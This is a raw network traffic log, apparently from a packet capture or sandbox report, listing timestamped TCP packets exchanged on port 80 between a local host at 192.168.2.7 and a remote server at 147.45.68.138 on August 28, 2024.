Aug 28, 2024 22:55:58.786569118 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.786585093 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.786596060 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.786604881 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.786612988 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.786614895 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.786636114 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.786639929 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.786650896 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.786650896 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.786662102 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.786673069 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.786681890 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.786695957 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.786714077 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.786748886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.786758900 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.786767960 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.786786079 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.786786079 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.786798000 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.786798000 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.786823988 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.786844015 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.787336111 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787347078 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787357092 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787384033 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.787405968 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.787453890 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787463903 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787473917 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787482977 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787491083 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.787492037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787502050 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787511110 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787512064 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.787527084 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787528992 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.787539005 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787549019 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787550926 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.787564993 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787570000 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.787587881 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787591934 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.787604094 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787614107 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787619114 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.787623882 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787635088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787643909 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.787643909 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787657022 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.787674904 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.787693977 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787703991 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787713051 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787723064 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787733078 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.787738085 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787749052 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787756920 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.787770033 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.787800074 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.787832975 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787843943 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787853003 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787867069 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787873983 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787875891 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.787877083 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787900925 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.787915945 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.787934065 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787964106 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787975073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.787985086 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788000107 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.788043022 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.788085938 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788096905 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788105965 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788121939 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.788122892 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788130045 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.788132906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788146019 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788151026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788151026 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.788156033 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788161993 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788265944 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.788294077 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788305044 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788319111 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788338900 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.788352966 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.788367033 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788378000 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788387060 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788397074 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788408041 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788418055 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.788431883 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.788446903 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.788496971 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788507938 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788516998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788532972 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788539886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788549900 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788561106 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788561106 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.788561106 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.788570881 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788580894 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788594961 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.788619995 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.788642883 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788652897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788667917 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788678885 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788687944 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.788697004 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788707018 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788708925 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.788717031 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788731098 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.788747072 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788758039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788764000 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.788790941 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.788847923 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788858891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788867950 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788877964 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788887978 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.788888931 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788904905 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788913012 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.788916111 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788925886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788935900 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788937092 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.788945913 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788948059 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.788970947 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.788988113 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.788991928 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.788996935 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.789005995 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.789016008 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.789036989 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.789055109 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.789088964 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.789098978 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.789108038 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.789118052 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.789128065 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.789130926 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.789150953 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.789163113 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.881592989 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.881608009 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.881637096 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.881649017 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.881659985 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.881678104 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.881695032 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.881711960 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.881712914 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.881724119 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.881725073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.881752014 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.882399082 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.882452011 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.882560015 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.882571936 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.882581949 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.882592916 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.882603884 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.882610083 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.882615089 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.882627010 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.882647038 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.882661104 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.884288073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.884300947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.884316921 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.884326935 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.884335995 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.884336948 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.884346962 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.884356976 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.884357929 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.884371042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.884382010 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.884398937 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.884422064 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.884803057 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.884815931 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.884825945 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.884850025 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.884864092 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.884927034 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.884939909 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.884957075 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.884973049 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.884973049 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.884994984 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.885015965 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.886698961 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.886728048 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.886738062 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.886745930 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.886765957 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.886802912 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.886814117 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.886822939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.886836052 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.886847019 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.886854887 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.886868000 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.886887074 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.887624979 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.887671947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.887681961 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.887706995 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.887717962 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.887747049 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.887758017 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.887768030 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.887778997 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.887789011 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.887801886 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.887801886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.887815952 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.887820959 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.887831926 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.887836933 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.887844086 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.887856007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.887862921 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.887875080 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.887891054 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.887892008 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.887902975 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.887914896 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.887921095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.887933016 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.887938023 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.887964010 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.887965918 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.887972116 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.887981892 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.887993097 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.888005972 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.888012886 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.888035059 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.888056040 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.888781071 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.888799906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.888808966 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.888834000 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.888850927 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.888873100 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.888883114 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.888892889 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.888904095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.888927937 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.888938904 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.888942957 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.888950109 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.888962030 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.888966084 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.888992071 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.889014959 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.889035940 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.889046907 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.889056921 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.889075041 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.889087915 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.889092922 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.889101982 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.889112949 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.889115095 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.889123917 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.889136076 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.889138937 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.889142036 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.889152050 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.889159918 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.889163971 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.889169931 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.889179945 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.889184952 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.889194012 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.889219999 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.889240980 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.889245033 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.889259100 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.889273882 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.889283895 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.889285088 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.889311075 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.889333010 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.889952898 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.890007973 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.890055895 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.890067101 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.890083075 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.890088081 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.890098095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.890108109 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.890110016 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.890117884 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.890119076 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.890127897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.890137911 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.890152931 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.890161037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.890168905 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.890173912 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.890183926 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.890193939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.890198946 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.890202999 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.890206099 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.890234947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.890234947 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.890240908 CEST	80	49731	147.45.68.138	192.168.2.7
